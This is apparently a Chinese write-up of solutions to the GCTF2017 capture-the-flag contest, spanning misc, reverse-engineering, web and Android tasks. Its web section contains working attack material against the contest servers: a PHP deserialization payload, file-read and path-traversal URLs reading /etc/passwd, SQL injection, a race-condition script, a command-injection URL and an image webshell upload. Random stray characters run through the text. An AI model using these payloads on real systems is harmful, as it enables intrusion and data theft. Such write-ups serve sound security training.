GCTF2017(首屆全球華人網(wǎng)絡(luò)安全技能大賽) writeup

謎一般的比賽茅信。盾舌。
題目實(shí)在是太多了,而且時(shí)間還只有一天=汹押。=矿筝,還好在最后沖到了第六。棚贾。窖维。

一、Misc

stage1:

拿到圖片妙痹,使用Stegsolve.jar铸史,在gray panel發(fā)現(xiàn)一個(gè)反色二維碼,使用mac預(yù)覽實(shí)現(xiàn)反色怯伊。

a.png

之后后掃描得到一串十六進(jìn)制數(shù)琳轿。

03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000

發(fā)現(xiàn)頭部03F30D0A是pyc的magic number,于是python導(dǎo)入后執(zhí)行dir發(fā)現(xiàn)有一個(gè)flag函數(shù)耿芹,執(zhí)行后得到flag崭篡。

b.png

revereMe

觀察到頭尾發(fā)現(xiàn)反序jpg的magic number(FF D8和FF D9),用python將字節(jié)逆過來即可看到flag圖片吧秕。

f=open('b','wb')
f.write(open('a','rb').read()[::-1])

test.pyc

用dis和uncompile2查看pyc發(fā)現(xiàn)flag3函數(shù)的邏輯琉闪,將給出字符串逆過來解base64再逆過來并且每個(gè)字符減一即可。

a = '=cWbihGfyMzNllzZ0cjZzMWN5cTM4YjYygTOycmNycWNyYmM1Ujf'

import base64

print ''.join(map(lambda x: chr(ord(x)-1), base64.b64decode(a[::-1])))[::-1]


二砸彬、Reverse

Hackme:

hackme題目給出了一個(gè)64位的二進(jìn)制程序颠毙,可以在linux下運(yùn)行斯入,運(yùn)行結(jié)果如下:

Give me the password: aaaa
Oh no!

那么這個(gè)題目應(yīng)該就是讓我們找一個(gè)能通過的pasword啦。

去ida里邊打開題目分析看看蛀蜜,首先查看字符串刻两,發(fā)現(xiàn)有這么一個(gè)看起來很厲害的字符串:

.rodata:00000000004881BE 00000009 C Congras\n

一看就讓人覺得這就是通過之后的樣子,于是跟過去看看滴某,簡單的做一下分析磅摹,可以得到這么一個(gè)函數(shù):

__int64 __fastcall main(__int64 a1, char *password)
{
  char input_pas[136]; // [sp+10h] [bp-B0h]@1
  int v4; // [sp+98h] [bp-28h]@12
  char v5; // [sp+9Fh] [bp-21h]@8
  int v6; // [sp+A0h] [bp-20h]@5
  unsigned __int8 input_char; // [sp+A6h] [bp-1Ah]@5
  char original_bytes; // [sp+A7h] [bp-19h]@5
  int v9; // [sp+A8h] [bp-18h]@5
  int v10; // [sp+ACh] [bp-14h]@5
  int v11; // [sp+B0h] [bp-10h]@5
  int ten_times; // [sp+B4h] [bp-Ch]@4
  int check_result; // [sp+B8h] [bp-8h]@4
  int length; // [sp+BCh] [bp-4h]@1

  printf("Give me the password: ");
  scanf("%s", my_pass);
  for ( length = 0; my_pass[length]; ++length )
    ;
  is_right = length == 22;
  cnt = 10;
  do
  {
    v9 = (signed int)sub_406D90() % 22;
    v11 = 0;
    compareByte = fileBytes[(signed __int64)v9];
    aChar = my_pass[v9];
    v6 = v9 + 1;
    v10 = 0;
    while ( v10 < v6 )
    {
      ++v10;
      v11 = 0x6D01788D * v11 + 12345;
    }
    v5 = v11 ^ aChar;
    if ( compareByte != ((unsigned __int8)v11 ^ aChar) )
      check_result = 0;
    --cnt;
  }
  while ( cnt );
  if ( is_right )
    v4 = printf("Congras\n", password);
  else
    v4 = printf("Oh no!\n", password);
  return 0LL;
}

邏輯還是比較簡單的,唯一一個(gè)比較神奇的地方是sub_406D90霎奢,實(shí)在是不知道是啥偏瓤,不過根據(jù)猜測,
我覺得他得到的數(shù)不應(yīng)該是變化的椰憋,不然題目的答案就不固定了,so赔退,調(diào)試了一下發(fā)現(xiàn)真的是固定的橙依。

那么剩下的任務(wù)就是把這個(gè)函數(shù)抄下來了,一個(gè)又去的地方是v5那兒硕旗,v5的亦或窗骑,其實(shí)也就是最后和
compareByte比較的那個(gè),亦或是可逆的漆枚,所以按照他這里的比較创译,compareByte = v11 ^ aChar
因?yàn)?v11 ^ aChar ^ v11 = aChar,所以如果得到compareByte和v11了墙基,就可以得到正確的數(shù)了软族。
v11的值和v16有關(guān),v6和v9有關(guān)残制,v9的值其實(shí)是固定的立砸,而且我抄了幾個(gè)發(fā)現(xiàn)沒啥規(guī)律,大致思考了一下初茶,
v9的數(shù)其實(shí)是沒有關(guān)系的颗祝。v9只要小于22就行了,因?yàn)閮蓚€(gè)v9一樣使得比較的位置一樣恼布,那么v11也一樣螺戳,
所以v9只要從0到21就可以了,所以有這個(gè)思路折汞,用C寫一個(gè)算一遍就好了

#include <stdio.h>
char *cmp = "\x5f\xf2\x5e\x8b\x4e\x0e\xa3\xaa\xc7\x93\x81\x3d\x5f\x74\xa3\x09"
        "\x91\x2b\x49\x28\x93\x67";


int main() {
    for (int i = 0; i < 22; i++) {
        char to_cmp = cmp[i];
        int v10 = 0;
        int v6 = i + 1;
        int v11 = 0;
        while (v10 < v6) {
            v10 ++;
            v11 = 0x6d01788d * v11 + 12345;
        }
        printf("%c", (char)v11 ^ to_cmp);
    }
    return 0;
}

最后flag: flag{d826e6926098ef46}

debug.exe

用jeb觀察邏輯倔幼,發(fā)現(xiàn)過一個(gè)check就行,根據(jù)邏輯寫出下面exp得到flag

def trans(a, b):
    return [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113][b]^a

print trans(1,10)

def cal(a, b):
    for i in a:
        i = ord(i)
        for j in range(1,15):
            i = trans(i, j)
        b += chr(i)
    return b

import hashlib

b = cal('CreateByTenshine','')

m = hashlib.md5()

m.update(b)

print 'flag{' + m.hexdigest().upper() + '}'

三字支、Web

PHP序列化:

可以直接看到index.php的源碼:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>代碼審計(jì)2</title>
 </head>
 <body>
 在php中凤藏,經(jīng)常會(huì)使用序列化操作來存取數(shù)據(jù)奸忽,但是在序列化的過程中如果處理不當(dāng)會(huì)帶來一些安全隱患。
<form action="./query.php" method="POST">        
<input type="text" name="ticket" />               
<input type="submit" />
</form>
<a href="./?src=1">查看源碼</a>
</body>
</html>

然后訪問query.php的時(shí)候提示:

Look me: edit by vim 0

試了一下vim備份文件的后綴揖庄,query.php~可以讀到源碼:

//query.php 部分代碼
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}

很明顯需要序列化栗菜。在index.php里面設(shè)置了php的序列化handler是'php_serialize',而query.php里面沒有設(shè)置蹄梢,也就是默認(rèn)的'php'疙筹,所以可以利用session反序列化調(diào)用query.php里面的類。
只有TOPC有echo禁炒,分析了一下而咆,構(gòu)造順序應(yīng)該是:

TOPC > TOPB > TOPA

其中有幾個(gè)點(diǎn):

1. __wakeup可以通過改變屬性數(shù)目大于實(shí)際數(shù)目繞過
2. 通過建立引用關(guān)系使得$this->obj->token和$this->obj->ticket保持相等
3. username和password可以直接取0,0弱等于字符串

試了一下幕袱,感覺線上的源碼不太一樣暴备,會(huì)調(diào)用login,并且反序列化的時(shí)候會(huì)先反序列化內(nèi)層的
構(gòu)造payload:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

在index.php設(shè)置一下session们豌,再訪問query.php就行了

spring-css:

google了一下涯捻,有一個(gè)CVE的洞cve-2014-3625
鏈接里面有exp,讀一下/etc/passwd望迎,發(fā)現(xiàn):

flag:x:1000:1000:Linux User,,,:/home/flag:/etc/flag

根據(jù)提示再讀/etc/flag

http://218.2.197.232:18015/spring-css/resources/file:/etc/flag

注入越權(quán):

源碼有提示:

<!--
2015.10.16
防越權(quán)改造障癌,當(dāng)uid=0且role=admin時(shí)顯示管理員頁面。
 -->   

發(fā)現(xiàn)uid可以直接修改辩尊,修改role不行涛浙,輸引號會(huì)被mysql_escape_string攔 。
試了一下發(fā)現(xiàn)uid輸反引號會(huì)報(bào)錯(cuò)摄欲,看了一下大概是update語句轿亮,所以可以注入設(shè)置role,引號不能用胸墙,就用admin的十六進(jìn)制代替哀托,也就是

uid=0,role=0x61646d696e

修改后返回原頁面,得到flag

條件競爭:

題目給了源碼劳秋,看了一下在reset密碼時(shí)存在條件競爭漏洞仓手,reset時(shí)有兩步:

  1. 先將該用戶信息清空并新插入一條信息,這時(shí)notadmin為False
  2. 然后再將notadmin設(shè)置為True

那么只要在第二步之前登錄即可玻淑,所以跑兩個(gè)程序嗽冒,一個(gè)reset,一個(gè)login即可补履,我這里分別開了15個(gè)協(xié)程:

reset.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()

def reset():
    for i in range(100):
        cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
        a = requests.post("http://218.2.197.232:18009/index.php?method=reset",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
        print(a)

tasks = [gevent.spawn(reset) for i in range(15)]
gevent.joinall(tasks)
login.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()

def login():
    for i in range(100):
        cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
        b = requests.post("http://218.2.197.232:18009/login.php?method=login",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
        print(b)

tasks = [gevent.spawn(login) for i in range(15)]
gevent.joinall(tasks)

很快就能讀到flag:

image.png

讀文件:

只給了個(gè)1.txt可以讀添坊,試了一下加*不行,感覺不是命令執(zhí)行箫锤,"../"返回上級目錄也不行贬蛙,猜測可能過濾了什么雨女,在1.txt中間加上"./"發(fā)現(xiàn)仍能讀取罢低,說明"./"被過濾了束凑,構(gòu)造payload,在上級目錄的flag.php的注釋里讀到flag

http://218.2.197.232:18008/a/down.php?p=...//fla./g.php

Web綜合:

發(fā)現(xiàn)有.svn泄露,下載下來sqlite數(shù)據(jù)庫文件边坤,找到settings.inc.php的checksum野蝇,然后在

http://218.2.197.232:18007/.svn/pristine/c6/c63308801a9ec3b0c1aea96b061c00b1666adebb.svn-base

可以讀到源代碼讼稚,源碼里有admin的密碼,登陸上去可以上傳圖片绕沈,這里上傳一個(gè)圖片馬就行了锐想,只驗(yàn)證了content-type,菜刀連上去后乍狐,在07目錄下找到f1a9.php

RCE繞過:

命令前后需要空格赠摇,但是被過濾,用%0a繞過浅蚪,命令中的空格就不行了蝉稳,fuzz一下,發(fā)現(xiàn)%09可以掘鄙。另外"."也被過濾了,可以用*嗡髓,于是直接讀到flag.php:

http://218.2.197.232:18006/?cmd=%0acat%09fla*%0a

JAVA序列化:

網(wǎng)上找了個(gè)JAVA序列化的例子操漠,推測了一下大概的格式,然后把題目的object的id和name對應(yīng)修改一下饿这,再Base64就OK了

rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=

變態(tài)驗(yàn)證碼怎么過:

網(wǎng)上搜了一下幾種繞驗(yàn)證碼的方式浊伙,都試了一下,發(fā)現(xiàn)只要第一次輸對了驗(yàn)證碼长捧,后面直接把驗(yàn)證碼設(shè)為空串就行了嚣鄙,然后用Burp和他給的password.txt爆破一下就行了

Forbidden:

注釋提示要本機(jī)訪問,各種改頭部沒用串结,后來發(fā)現(xiàn)改成localhost才行哑子,也是醉了,然后后續(xù)每次修改都會(huì)有個(gè)提示肌割,改Host啊卧蜓,改Referer,改UA什么的把敞,一步一步來就能得到最后flag

熱身題:

掃了一下目錄發(fā)現(xiàn)robots.txt弥奸,挨個(gè)讀了一下里面的文件,最后在rob0t.php里面讀到flag

四奋早、Mobile

APK逆向

逆向看MainActivity盛霎,發(fā)現(xiàn)在checkSN中用輸入與flag作比較

1.png

在對應(yīng)點(diǎn)打斷點(diǎn)

image.png

動(dòng)態(tài)調(diào)試赠橙,斷下來后就是flag

image.png

APK逆向2

Jeb查看manifest文件報(bào)錯(cuò)

image.png

解壓出AndroidManifest.xml,用010Editor查看愤炸,即可得flag

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末期揪,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子摇幻,更是在濱河造成了極大的恐慌横侦,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,126評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件绰姻,死亡現(xiàn)場離奇詭異枉侧,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)狂芋,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評論 2 382
  • 文/潘曉璐 我一進(jìn)店門榨馁,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人帜矾,你說我怎么就攤上這事翼虫。” “怎么了屡萤?”我有些...
    開封第一講書人閱讀 152,445評論 0 341
  • 文/不壞的土叔 我叫張陵珍剑,是天一觀的道長。 經(jīng)常有香客問我死陆,道長招拙,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,185評論 1 278
  • 正文 為了忘掉前任措译,我火速辦了婚禮别凤,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘领虹。我一直安慰自己规哪,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,178評論 5 371
  • 文/花漫 我一把揭開白布塌衰。 她就那樣靜靜地躺著诉稍,像睡著了一般。 火紅的嫁衣襯著肌膚如雪最疆。 梳的紋絲不亂的頭發(fā)上均唉,一...
    開封第一講書人閱讀 48,970評論 1 284
  • 那天,我揣著相機(jī)與錄音肚菠,去河邊找鬼舔箭。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的层扶。 我是一名探鬼主播箫章,決...
    沈念sama閱讀 38,276評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼镜会!你這毒婦竟也來了檬寂?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,927評論 0 259
  • 序言:老撾萬榮一對情侶失蹤戳表,失蹤者是張志新(化名)和其女友劉穎桶至,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體匾旭,經(jīng)...
    沈念sama閱讀 43,400評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡镣屹,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,883評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了价涝。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片女蜈。...
    茶點(diǎn)故事閱讀 37,997評論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖色瘩,靈堂內(nèi)的尸體忽然破棺而出伪窖,到底是詐尸還是另有隱情,我是刑警寧澤居兆,帶...
    沈念sama閱讀 33,646評論 4 322
  • 正文 年R本政府宣布覆山,位于F島的核電站,受9級特大地震影響泥栖,放射性物質(zhì)發(fā)生泄漏簇宽。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,213評論 3 307
  • 文/蒙蒙 一聊倔、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧生巡,春花似錦耙蔑、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,204評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至盐股,卻和暖如春钱豁,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背疯汁。 一陣腳步聲響...
    開封第一講書人閱讀 31,423評論 1 260
  • 我被黑心中介騙來泰國打工牲尺, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,423評論 2 352
  • 正文 我出身青樓谤碳,卻偏偏與公主長得像溃卡,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子蜒简,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,722評論 2 345

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 171,498評論 25 707
  • 捉迷藏 題目url:http://218.76.35.75:20111/index.php 進(jìn)去之后查看源碼: 發(fā)...
    Pr0ph3t閱讀 1,659評論 0 2
  • 漫步竹林 憑欄聽雨 愜意生活 獨(dú)缺一書 一人 一知己
    城市里的zhu閱讀 227評論 0 1
  • 你之前可能已經(jīng)使用過Xcode的代碼片段(Code Snippets)功能了瘸羡,一些常見的是for in片段和dis...
    泰克2008閱讀 1,631評論 0 1
  • 2017年年初犹赖,我在自己的新年計(jì)劃里寫下了一個(gè)新年愿望:習(xí)得寫作技能,為此我的數(shù)量目標(biāo)是發(fā)布至少60篇文章卷仑。半年過...
    波米諾不知道閱讀 217評論 0 0